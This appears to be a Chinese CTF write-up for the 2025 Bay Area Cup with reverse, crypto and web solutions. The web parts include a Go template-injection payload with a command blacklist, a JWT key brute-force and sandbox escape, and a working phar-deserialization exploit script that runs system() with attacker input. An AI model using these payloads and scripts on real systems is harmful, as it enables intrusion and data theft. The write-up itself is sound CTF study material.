2025湾区杯部分题解和复现

前言#

差不多solo打了一天，上午上不去平台，下午刚刚好没课

hardtest#

ida启动，算法流程是：输入字符 -> 异或0x5A -> 循环左移3位 -> 特殊变换 -> 模幂运算 -> 循环右移2位 -> S-box查表。

exp.py

1
sbox = [
2
    0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
3
    0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
4
    0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
5
    0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
6
    0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
7
    0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
8
    0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
9
    0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
10
    0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
11
    0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
12
    0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
13
    0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
14
    0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
15
    0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
16
    0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
17
    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
18
]
19

20
target = [
21
    0x97, 0xd5, 0x60, 0x43, 0xb4, 0x10, 0x43, 0x73, 0x0f, 0xda, 0x43, 0xcd,
22
    0xd3, 0xe8, 0x73, 0x4a, 0x94, 0xc3, 0xcd, 0x71, 0xbd, 0xdc, 0x97, 0x1a
23
]
24

25
def rol(val, shift):
26
    val &= 0xFF
27
    return ((val << shift) | (val >> (8 - shift))) & 0xFF
28

29
def ror(val, shift):
30
    val &= 0xFF
31
    return ((val >> shift) | (val << (8 - shift))) & 0xFF
32

33
def mod_pow(base, exp, mod):
34
    if base == 0:
35
        return 0
36
    result = 1
37
    base = base % mod
38
    while exp > 0:
39
        if exp & 1:
40
            result = (result * base) % mod
41
        exp >>= 1
42
        base = (base * base) % mod
43
    return result
44

45
def extended_gcd(a, b):
46
    if a == 0:
47
        return b, 0, 1
48
    gcd, x1, y1 = extended_gcd(b % a, a)
49
    x = y1 - (b // a) * x1
50
    y = x1
51
    return gcd, x, y
52

53
def mod_inverse(a, m):
54
    if a == 0:
55
        return 0
56
    gcd, x, y = extended_gcd(a, m)
57
    if gcd != 1:
58
        return None
59
    return (x % m + m) % m
60

61
def encrypt_char(c, pos):
62
    val = rol(ord(c), (pos % 7) + 1)
63
    val = val ^ 0x5A
64
    val = rol(val, 3)
65
    high_nibble = (val >> 4) & 0xF
66
    low_nibble = val & 0xF
67
    transformed = ((16 * ((3 * high_nibble) & 0xF)) | ((5 * low_nibble) & 0xF)) & 0xFF
68
    mod_result = mod_pow(transformed, 255, 257)
69
    shifted = ror(mod_result, 2)
70
    return sbox[shifted]
71

72
def decrypt_char(encrypted_val, pos):
73
    try:
74
        shifted = sbox.index(encrypted_val)
75
    except ValueError:
76
        return None
77
    mod_result = rol(shifted, 2)
78
    transformed = mod_inverse(mod_result, 257)
79
    if transformed is None:
80
        return None
81
    for high in range(16):
82
        for low in range(16):
83
            test_val = ((16 * ((3 * high) & 0xF)) | ((5 * low) & 0xF)) & 0xFF
84
            if test_val == transformed:
85
                original_val = (high << 4) | low
86
                val = ror(original_val, 3)
87
                char_val = val ^ 0x5A
88
                char_val = ror(char_val, (pos % 7) + 1)
89
                if 32 <= char_val <= 126:
90
                    return chr(char_val)
91

92
    return None
93

94
def brute_force_char(target_val, pos):
95
    for c in range(32, 127):  # 可打印ASCII字符
96
        char = chr(c)
97
        if encrypt_char(char, pos) == target_val:
98
            return char
99
    return None
100

101
def solve_flag():
102
    flag = ""
103

104
    for i, encrypted_byte in enumerate(target):
105
        decrypted_char = decrypt_char(encrypted_byte, i)
106

107
        if not decrypted_char:
108
            decrypted_char = brute_force_char(encrypted_byte, i)
109

110
        if decrypted_char:
111
            flag += decrypted_char
112
            print(f"位置 {i}: 0x{encrypted_byte:02x} -> '{decrypted_char}'")
113
        else:
114
            print(f"位置 {i}: 0x{encrypted_byte:02x} -> 解密失败")
115
            flag += "?"
116

117
    for i, c in enumerate(flag):
118
        if c != "?":
119
            encrypted = encrypt_char(c, i)
120
            expected = target[i]
121
            status = "✓" if encrypted == expected else "✗"
122
            print(f"'{c}' -> 0x{encrypted:02x} (期望: 0x{expected:02x}) {status}")
123

124
    return flag
125

126
if __name__ == "__main__":
127
    flag = solve_flag()
128
    print(f"\nFinal Flag: {flag}")

ssti#

go的ssti.

{{.}}回显map[B64Decode:0x6ee380 exec:0x6ee120]，前面没学过这玩意，现学一下，有黑名单，可以base绕过，也可以更加直接一点{{exec "tac /??a?"}}.

题目源码

1
package main
2

3
import (
4
  "bytes"
5
  "encoding/base64"
6
  "fmt"
7
  "log"
8
  "net/http"
9
  "os/exec"
10
  "regexp"
11
  "runtime"
12
  "strings"
13
  "text/template"
14
)
15

16
func execCommand(command string) string {
17
  var cmd *exec.Cmd
18
  if runtime.GOOS == "windows" {
19
    cmd = exec.Command("cmd", "/c", command)
20
  } else {
21
    cmd = exec.Command("bash", "-c", command)
22
  }
23

24
  var out bytes.Buffer
25
  var stderr bytes.Buffer
26
  cmd.Stdout = &out
27
  cmd.Stderr = &stderr
28

29
  err := cmd.Run()
30
  if err != nil {
31
    if stderr.Len() > 0 {
32
      return fmt.Sprintf("命令执行错误: %s", stderr.String())
33
    }
34
    return fmt.Sprintf("执行失败: %v", err)
35
  }
36
  return out.String()
37
}
38

39
func b64Decode(encoded string) string {
40
  decodedBytes, err := base64.StdEncoding.DecodeString(encoded)
41
  if err != nil {
42
    return "error"
43
  }
44
  return string(decodedBytes)
45
}
46

47
func aWAF(next http.Handler) http.Handler {
48
  return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
49
    if r.URL.Path != "/api" {
50
      next.ServeHTTP(w, r)
51
      return
52
    }
53

54
    query := r.URL.Query().Get("template")
55
    if query == "" {
56
      next.ServeHTTP(w, r)
57
      return
58
    }
59

60
    blacklist := []string{"ls", "whoami", "cat", "uname", "nc", "flag", "etc", "passwd", "\\*", "pwd", "rm", "cp", "mv", "chmod", "chown", "wget", "curl", "bash", "sh", "python", "perl", "ruby", "system", "eval", "less", "more", "find", "grep", "awk", "sed", "tar", "zip", "unzip", "gzip", "gunzip", "bzip2", "bunzip2", "xz", "unxz", "docker", "kubectl", "git", "svn", "f", "l", "g", ",", "\\?", "&&", "\\|", ";", "`", "\"", ">", "<", ":", "=", "\\(", "\\)", "%", "\\\\", "\\^", "\\$", "!", "@", "#", "&"}
61
    escaped := make([]string, len(blacklist))
62
    for i, item := range blacklist {
63
      escaped[i] = "\\b" + item + "\\b"
64
    }
65
    wafRegex := regexp.MustCompile(fmt.Sprintf("(?i)%s", strings.Join(escaped, "|")))
66

67
    if wafRegex.MatchString(query) {
68
      // log.Printf("拦截请求: %s", wafRegex.FindAllString(query, -1))
69
      http.Error(w, query, 200)
70
      return
71
    }
72

73
    next.ServeHTTP(w, r)
74
  })
75
}
76

77
func apiHandler(w http.ResponseWriter, r *http.Request) {
78
  query := r.URL.Query().Get("template")
79
  if query == "" {
80
    http.Error(w, "需要template参数", http.StatusBadRequest)
81
    return
82
  }
83

84
  funcMap := template.FuncMap{
85
    "exec":      execCommand,
86
    "B64Decode": b64Decode,
87
  }
88

89
  tmpl, err := template.New("api").Funcs(funcMap).Parse(query)
90
  if err != nil {
91
    http.Error(w, query, http.StatusAccepted)
92
    return
93
  }
94

95
  var buf bytes.Buffer
96
  if err := tmpl.Execute(&buf, funcMap); err != nil {
97
    http.Error(w, query, http.StatusAccepted)
98
    return
99
  }
100

101
  w.Write(buf.Bytes())
102
}
103

104
func rootHandler(w http.ResponseWriter, r *http.Request) {
105
  if r.URL.Path != "/" {
106
    http.NotFound(w, r)
107
    return
108
  }
109

110
  http.ServeFile(w, r, "index.html")
111
}
112

113
func main() {
114
  mux := http.NewServeMux()
115
  mux.HandleFunc("/", rootHandler)
116
  mux.HandleFunc("/api", apiHandler)
117

118
  log.Println("服务器启动在 :80")
119
  log.Fatal(http.ListenAndServe(":80", aWAF(mux)))
120
}

checkwebshell#

去追踪流量可以看见一个sm4

1
<?php
2
class SM4 {
3
    const ENCRYPT = 1;
4
    private $sk;
5
    private static $FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC];
6
    private static $CK = [
7
        0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
8
        0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
9
        0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
10
        0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
11
        0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
12
        0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
13
        0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
14
        0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
15
    ];
16
    private static $SboxTable = [
17
        0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
18
        0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
19
        0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
20
        0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
21
        0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
22
        0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
23
        0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x0D, 0x2D, 0xEC,
24
        0x84, 0x9B, 0x1E, 0x87, 0xE0, 0x3E, 0xB5, 0x66, 0x48, 0x02, 0x6C, 0xBB, 0xBB, 0x32, 0x83, 0x27,
25
        0x9E, 0x01, 0x8D, 0x53, 0x9B, 0x64, 0x7B, 0x6B, 0x6A, 0x6C, 0xEC, 0xBB, 0xC4, 0x94, 0x3B, 0x0C,
26
        0x76, 0xD2, 0x09, 0xAA, 0x16, 0x15, 0x3D, 0x2D, 0x0A, 0xFD, 0xE4, 0xB7, 0x37, 0x63, 0x28, 0xDD,
27
        0x7C, 0xEA, 0x97, 0x8C, 0x6D, 0xC7, 0xF2, 0x3E, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7,
28
        0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x36, 0x24, 0x07, 0x82, 0xFA, 0x54, 0x5B, 0x40,
29
        0x8F, 0xED, 0x1F, 0xDA, 0x93, 0x80, 0xF9, 0x61, 0x1C, 0x70, 0xC3, 0x85, 0x95, 0xA9, 0x79, 0x08,
30
        0x46, 0x29, 0x02, 0x3B, 0x4D, 0x83, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x1A, 0x47, 0x5C, 0x0D, 0xEA,
31
        0x9E, 0xCB, 0x55, 0x20, 0x15, 0x8A, 0x9A, 0xCB, 0x43, 0x0C, 0xF0, 0x0B, 0x40, 0x58, 0x00, 0x8F,
32
        0xEB, 0xBE, 0x3D, 0xC2, 0x9F, 0x51, 0xFA, 0x13, 0x3B, 0x0D, 0x90, 0x5B, 0x6E, 0x45, 0x59, 0x33
33
    ];
34

35
    public function __construct($key) {
36
        $this->setKey($key);
37
    }
38
    public function setKey($key) {
39
        if (strlen($key) != 16) {
40
            throw new Exception("SM4");
41
        }
42
        $key = $this->strToIntArray($key);
43
        $k = array_merge($key, [0, 0, 0, 0]);
44
        for ($i = 0; $i < 4; $i++) {
45
            $k[$i] ^= self::$FK[$i];
46
        }
47
        for ($i = 0; $i < 32; $i++) {
48
            $k[$i + 4] = $k[$i] ^ $this->CKF($k[$i + 1], $k[$i + 2], $k[$i + 3], self::$CK[$i]);
49
            $this->sk[$i] = $k[$i + 4];
50
        }
51
    }
52
    public function encrypt($plaintext) {
53
        $len = strlen($plaintext);
54
        $padding = 16 - ($len % 16);
55
        $plaintext .= str_repeat(chr($padding), $padding);
56
        $ciphertext = '';
57
        for ($i = 0; $i < strlen($plaintext); $i += 16) {
58
            $block = substr($plaintext, $i, 16);
59
            $ciphertext .= $this->cryptBlock($block, self::ENCRYPT);
60
        }
61
        return $ciphertext;
62
    }
63
    private function cryptBlock($block, $mode) {
64
        $x = $this->strToIntArray($block);
65

66
        for ($i = 0; $i < 32; $i++) {
67
            $roundKey = $this->sk[$i];
68
            $x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
69
            array_shift($x);
70
        }
71
        $x = array_reverse($x);
72
        return $this->intArrayToStr($x);
73
    }
74
    private function F($x1, $x2, $x3, $rk) {
75
        return $this->T($x1 ^ $x2 ^ $x3 ^ $rk);
76
    }
77
    private function CKF($a, $b, $c, $ck) {
78
        return $a ^ $this->T($b ^ $c ^ $ck);
79
    }
80
    private function T($x) {
81
        return $this->L($this->S($x));
82
    }
83
    private function S($x) {
84
        $result = 0;
85
        for ($i = 0; $i < 4; $i++) {
86
            $byte = ($x >> (24 - $i * 8)) & 0xFF;
87
            $result |= self::$SboxTable[$byte] << (24 - $i * 8);
88
        }
89
        return $result;
90
    }
91
    private function L($x) {
92
        return $x ^ $this->rotl($x, 2) ^ $this->rotl($x, 10) ^ $this->rotl($x, 18) ^ $this->rotl($x, 24);
93
    }
94
    private function rotl($x, $n) {
95
        return (($x << $n) & 0xFFFFFFFF) | (($x >> (32 - $n)) & 0xFFFFFFFF);
96
    }
97
    private function strToIntArray($str) {
98
        $result = [];
99
        for ($i = 0; $i < 4; $i++) {
100
            $offset = $i * 4;
101
            $result[$i] =
102
                (ord($str[$offset]) << 24) |
103
                (ord($str[$offset + 1]) << 16) |
104
                (ord($str[$offset + 2]) << 8) |
105
                ord($str[$offset + 3]);
106
        }
107
        return $result;
108
    }
109
    private function intArrayToStr($array) {
110
        $str = '';
111
        foreach ($array as $int) {
112
            $str .= chr(($int >> 24) & 0xFF);
113
            $str .= chr(($int >> 16) & 0xFF);
114
            $str .= chr(($int >> 8) & 0xFF);
115
            $str .= chr($int & 0xFF);
116
        }
117
        return $str;
118
    }
119
}
120
try {
121
    $key = "a8a58b78f41eeb6a";
122
    $sm4 = new SM4($key);
123
    $plaintext = "flag";
124
    $ciphertext = $sm4->encrypt($plaintext);
125
    echo  base64_encode($ciphertext) ; //VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu
126
} catch (Exception $e) {
127
    echo $e->getMessage() ;
128
}
129
?>

直接解密就行了，exp就不放了

ez_python#

先文件传一个呗，发现无权限，f12发现是jwt，爆破两位伪造成功，然后传py，发现是沙箱逃逸，这里直接斜体绕过，拿到flag。

题目源码

1
from flask import Flask, request, jsonify, render_template_string
2
import jwt
3
import asyncio
4
import yaml
5
import os
6

7
app = Flask(__name__)
8

9
JWT_SECRET = "@o70xO$0%#qR9#m0"
10
JWT_ALGO = "HS256"
11

12
FORBIDDEN = ['__', 'import', 'os', 'eval', 'exec', 'open', 'read', 'write', 'system', 'subprocess', 'communicate', 'Popen', 'decode', "\\"]
13

14
HTML_PAGE = '''
15
<!DOCTYPE html>
16
<html>
17
<head>
18
    <title>Vault</title>
19
    <style>
20
        body { font-family: "Segoe UI", sans-serif; background-color: #f4f4f4; padding: 40px; text-align: center; }
21
        #user-info { margin-bottom: 40px; font-weight: bold; font-size: 18px; color: #333; }
22
        #sandbox-container { margin-top: 30px; }
23
        select, input, button { font-size: 16px; margin: 10px; padding: 8px; border-radius: 6px; border: 1px solid #ccc; }
24
        #result { background: #222; color: #0f0; padding: 15px; width: 80%; margin: 20px auto; white-space: pre-wrap; border-radius: 8px; text-align: left; }
25
        button { background-color: #4CAF50; color: white; border: none; cursor: pointer; }
26
        button:hover { background-color: #45a049; }
27
        input[type="file"] { display: block; margin: 10px auto; }
28
    </style>
29
</head>
30
<body>
31
    <div id="user-info">Loading user info...</div>
32
    <div id="sandbox-container">
33
        <select id="mode">
34
            <option value="yaml" selected>YAML</option>
35
            <option value="python">Python</option>
36
        </select>
37
        <br>
38
        <input type="file" id="codefile">
39
        <br>
40
        <button onclick="runCode()">▶ Execute from File</button>
41
        <pre id="result">Waiting for output...</pre>
42
    </div>
43
    <script>
44
        let token = "";
45
        fetch("/auth")
46
            .then(res => res.json())
47
            .then(data => {
48
                token = data.token;
49
                const payload = JSON.parse(atob(token.split('.')[1]));
50
                document.getElementById("user-info").innerHTML =
51
                    "<span style='color:#444'>👤 " + payload.username + "</span> | " +
52
                    "<span style='color:#4CAF50'>Role: " + payload.role + "</span>";
53
            });
54

55
        function runCode() {
56
            const fileInput = document.getElementById('codefile');
57
            const mode = document.getElementById("mode").value;
58

59
            if (fileInput.files.length === 0) {
60
                document.getElementById("result").textContent = '{"error": "Please select a file to upload."}';
61
                return;
62
            }
63
            const file = fileInput.files[0];
64

65
            const formData = new FormData();
66
            formData.append('codefile', file);
67
            formData.append('mode', mode);
68

69
            fetch("/sandbox", {
70
                method: "POST",
71
                headers: {
72
                    "Authorization": "Bearer " + token
73
                },
74
                body: formData
75
            })
76
            .then(res => res.json())
77
            .then(data => {
78
                document.getElementById("result").textContent = JSON.stringify(data, null, 2);
79
            });
80
        }
81
    </script>
82
</body>
83
</html>
84
'''
85

86
@app.route('/')
87
def index():
88
    return render_template_string(HTML_PAGE)
89

90
@app.route('/auth')
91
def auth():
92
    token = jwt.encode({'username': 'guest', 'role': 'user'}, JWT_SECRET, algorithm=JWT_ALGO)
93
    if isinstance(token, bytes):
94
        token = token.decode()
95

96
    return jsonify({'token': token})
97

98
def is_code_safe(code: str) -> bool:
99
    return not any(word in code for word in FORBIDDEN)
100

101
@app.route('/sandbox', methods=['POST'])
102
def sandbox():
103
    auth_header = request.headers.get('Authorization', '')
104
    if not auth_header.startswith('Bearer '):
105
        return jsonify({'error': 'Invalid token format'}), 401
106
    token = auth_header.replace('Bearer ', '')
107
    if 'codefile' not in request.files:
108
        return jsonify({'error': 'No file part in the request'}), 400
109

110
    file = request.files['codefile']
111
    if file.filename == '':
112
        return jsonify({'error': 'No file selected'}), 400
113

114
    mode = request.form.get('mode', 'python')
115
    try:
116
        code = file.read().decode('utf-8')
117
    except Exception as e:
118
        return jsonify({'error': f'Could not read or decode file: {e}'}), 400
119

120
    if not all([token, code, mode]):
121
        return jsonify({'error': 'Token, code, or mode is empty'}), 400
122

123
    try:
124
        payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGO])
125
    except Exception as e:
126
        partial_key = JWT_SECRET[:-2]
127
        return {
128
            'error': 'JWT Decode Failed. Key Hint',
129
            'hint': f'Key starts with "{partial_key}**". The 2 missing chars are alphanumeric (letters and numbers).'
130
        }, 500
131

132
    if payload.get('role') != 'admin':
133
        return {'error': 'Permission Denied: admin only'}, 403
134

135
    if mode == 'python':
136
        if not is_code_safe(code):
137
            return {'error': 'forbidden keyword detected'}, 400
138
        try:
139
            scope = {}
140
            exec(code, scope)
141
            result = scope['run']()
142
            return {'result': result}
143
        except Exception as e:
144
            return {'error': str(e)}, 500
145

146
    elif mode == 'yaml':
147
        try:
148
            obj = yaml.load(code, Loader=yaml.UnsafeLoader)
149
            return {'result': str(obj)}
150
        except Exception as e:
151
            return {'error': str(e)}, 500
152

153
    return {'error': 'invalid mode'}, 400
154

155
if __name__ == '__main__':
156
    app.run(host='0.0.0.0', port=80)

easy_readfile(赛后)#

看包神博客说DeadsecCTF2025类似，后面看看，先存个脚本（）

1
import http.client
2
import urllib.parse
3
import gzip
4
import re
5
import time
6
import socket
7

8
def _post(url, body, headers=None, timeout=None):
9
    u = urllib.parse.urlsplit(url)
10
    host = u.hostname
11
    port = u.port or (80 if u.scheme == 'http' else 443)
12
    path = u.path or '/'
13
    if u.query:
14
        path += '?' + u.query
15
    conn = http.client.HTTPConnection(host, port, timeout=timeout)
16
    try:
17
        conn.request("POST", path, body=body, headers=headers or {'Content-Type':'application/x-www-form-urlencoded'})
18
        resp = conn.getresponse()
19
        data = resp.read().decode('utf-8', 'ignore')
20
        return data
21
    finally:
22
        conn.close()
23

24
def write(url):
25
    with open('phar.phar', 'rb') as f:
26
        raw = f.read()
27
    gz = gzip.compress(raw)
28
    v0 = urllib.parse.quote_from_bytes(gz)
29
    body = '1=' + 'O:7:"Acheron":1:{s:4:"mode";s:1:"w";}' + '&0=' + v0
30
    r = _post(url, body, {'Content-Type':'application/x-www-form-urlencoded'})
31
    m = re.search(r'/tmp/[0-9a-f]{32}\.phar', r)
32
    if not m:
33
        return None
34
    return m.group(0)
35

36
def read(url, phar_path):
37
    v0 = urllib.parse.quote(phar_path, safe='')
38
    body = '1=' + 'O:7:"Acheron":1:{s:4:"mode";s:1:"r";}' + '&0=' + v0
39
    r = _post(url, body, {'Content-Type':'application/x-www-form-urlencoded'})
40
    m = re.search(r'flag', r)
41
    return m.group(0) if m else None
42

43
def runtime_exec(url, phar_path, cmd):
44
    v0 = urllib.parse.quote(phar_path, safe='')
45
    v2 = urllib.parse.quote(cmd, safe='')
46
    body = '1=' + 'O:7:"Acheron":1:{s:4:"mode";s:1:"r";}' + '&0=' + v0 + '&2=' + v2
47
    r = _post(url + "?1=system($_POST[2]);", body, {'Content-Type':'application/x-www-form-urlencoded'})
48
    return r
49

50

51
def getflag(url, phar_path):
52
    r1 = runtime_exec(url, phar_path,"pwd")
53
    m1 = re.search(r'/var/www/html', r1)
54
    if m1 :
55
        print("[+] 命中标记，可以进行下一步")
56
        runtime_exec(url, phar_path, "touch -- -H")
57
        print("成功创建覆盖项")
58
        time.sleep(1)
59
        runtime_exec(url, phar_path, "ln -s /flag flag")
60
        print("成功创建软连接")
61
        time.sleep(15)
62
        r2 = runtime_exec(url, phar_path, "cat backup/flag")
63
        m2 = re.search(r'flag\{[^}\r\n]+\}', r2, re.I)
64
        if m2:
65
            return m2.group(0)
66
    else :
67
        print("[-] 未命中标记，退出或重试")
68

69
if __name__ == '__main__':
70
    url = ""
71
    phar_path = write(url)
72
    if phar_path:
73
        time.sleep(1)
74
        print(read(url, phar_path))
75
        time.sleep(1)
76
        flag=getflag(url, phar_path)
77
        print(flag)

new_trick#

task.py

1
from Crypto.Cipher import AES
2
from Crypto.Util.Padding import pad
3
from secrets import flag, secret
4

5
assert secret < 2 ** 50
6
p = 115792089237316195423570985008687907853269984665640564039457584007913129639747
7
Q_components = (123456789, 987654321, 135792468, 864297531)
8

9
class Quaternion:
10
    def __init__(self, a, b, c, d):
11
        self.p = p
12
        self.a = a % self.p
13
        self.b = b % self.p
14
        self.c = c % self.p
15
        self.d = d % self.p
16

17
    def __repr__(self):
18
        return f"Q({self.a}, {self.b}, {self.c}, {self.d})"
19

20
    def __mul__(self, other):
21
        a1, b1, c1, d1 = self.a, self.b, self.c, self.d
22
        a2, b2, c2, d2 = other.a, other.b, other.c, other.d
23
        a_new = a1 * a2 - b1 * b2 - c1 * c2 - d1 * d2
24
        b_new = a1 * b2 + b1 * a2 + c1 * d2 - d1 * c2
25
        c_new = a1 * c2 - b1 * d2 + c1 * a2 + d1 * b2
26
        d_new = a1 * d2 + b1 * c2 - c1 * b2 + d1 * a2
27
        return Quaternion(a_new, b_new, c_new, d_new)
28

29
def power(base_quat, exp):
30
    res = Quaternion(1, 0, 0, 0)
31
    base = base_quat
32
    while exp > 0:
33
        if exp % 2 == 1:
34
            res = res * base
35
        base = base * base
36
        exp //= 2
37
    return res
38

39
Q = Quaternion(*Q_components)
40
R = power(Q,secret)
41

42
print("--- Public Parameters ---")
43
print(f"p = {p}")
44
print(f"Q = {Q}")
45
print(f"R = {R}")
46

47
'''
48
--- Public Parameters ---
49
p =
50
Q = Q()
51
R = Q()
52
'''
53

54
key = md5(str(secret).encode()).hexdigest().encode()
55
cipher = AES.new(key=key,mode=AES.MODE_ECB)
56
print(cipher.encrypt(pad(flag,16)))

本来以为要有什么四元数的技巧去求dlp，后面看他们出的那么快我也绷不住了，好像就2**50的范围左右，bsgs就可以打

1
from hashlib import md5
2

3
from Crypto.Cipher import AES
4
from Crypto.Util.Padding import unpad
5

6

7
def solve():
8

9
    p =
10
    Q_components = ()
11
    R_components = ()
12
    ciphertext = b''
13
    a, b, c, d = Q_components
14
    norm_Q = (a*a + b*b + c*c + d*d) % p
15
    a, b, c, d = R_components
16
    norm_R = (a*a + b*b + c*c + d*d) % p
17

18
    bound = 2**50
19

20
    def bsgs(base, result, modulus, bound):
21

22
        if not bound:
23
            bound = modulus
24
        m = int(bound**0.5) + 1
25

26
        baby_steps = {}
27
        val = 1
28
        for j in range(m):
29
            if j % 1000000 == 0:
30
                print(f"  ... baby step {j}/{m}")
31
            baby_steps[val] = j
32
            val = (val * base) % modulus
33
        try:
34
            giant_step_factor = pow(base, -m, modulus)
35
        except ValueError:
36
            return None
37

38
        val = result
39
        for i in range(m):
40
            if i % 1000000 == 0:
41
                print(f"  ... giant step {i}/{m}")
42
            if val in baby_steps:
43
                j = baby_steps[val]
44
                x = i * m + j
45
                if pow(base, x, modulus) == result:
46
                    return x
47
            val = (val * giant_step_factor) % modulus
48
        return None
49

50
    secret = bsgs(norm_Q, norm_R, p, bound)
51

52
    if secret is None:
53
        print("未能找到 secret。BSGS 算法失败。")
54
        return
55

56
    print(f"成功找到 secret: {secret}")
57

58
    # 3. 使用 secret 解密 flag
59
    # key 是 secret 的 md5 哈希
60
    key = md5(str(secret).encode()).hexdigest().encode()
61
    cipher = AES.new(key=key, mode=AES.MODE_ECB)
62

63
    try:
64
        # 解密并去除 padding
65
        decrypted_data = cipher.decrypt(ciphertext)
66
        flag = unpad(decrypted_data, 16)
67
        print(f"🎉 成功解密！Flag: {flag.decode()}")
68
    except (ValueError, KeyError) as e:
69
        print(f"解密失败。secret 可能不正确。错误: {e}")
70
        print(f"解密后的数据 (raw): {decrypted_data}")
71

72
if __name__ == '__main__':
73
    solve()

someinterersa(赛后非预期)#

nssctf4th的iqqt与之一样，这下知道为什么不放wp了。

与之不同的是nss那个只有一组数据，这玩意的理论上无上限，且加密方式很普通，那我收集到足够多的nc对是可以打crt的。

理论存在，实践开始。

先存个几万对

1
from sage.all import *
2

3
from pwn import *
4

5

6
def work(b):
7
    ls = b.decode().strip().split('\n')
8
    N = Integer(int(ls[0].split(' ')[-1]))
9
    c = Integer(int(ls[3].split(' ')[-1]))
10
    return N, c
11
file = open("temp.txt", "a")
12
while True:
13
    cs = [remote('pwn-ed184decc2.challenge.xctf.org.cn', 9999, ssl=True) for _ in range(128)]
14
    r = [work(conn.recvall()) for conn in cs]
15
    for conn in cs:
16
        conn.close()
17
    print(str(r), file=file)
18
    file.flush()

赛时存了几千对没有效果，估计是太少了，要继续扩大范围，这里上课的时候跑了1h50min，应该是够用了。

这里调了几次，差不多1w2左右的数据就够了，优化了一下代码，35s可以出来

1
import ast
2
import time
3
from functools import reduce
4
from multiprocessing import Pool, cpu_count
5
from operator import mul
6

7
import gmpy2
8
from sage.all import CRT, Integer
9

10
from Crypto.Util.number import long_to_bytes
11

12

13
def worker_crt(nums_chunk):
14
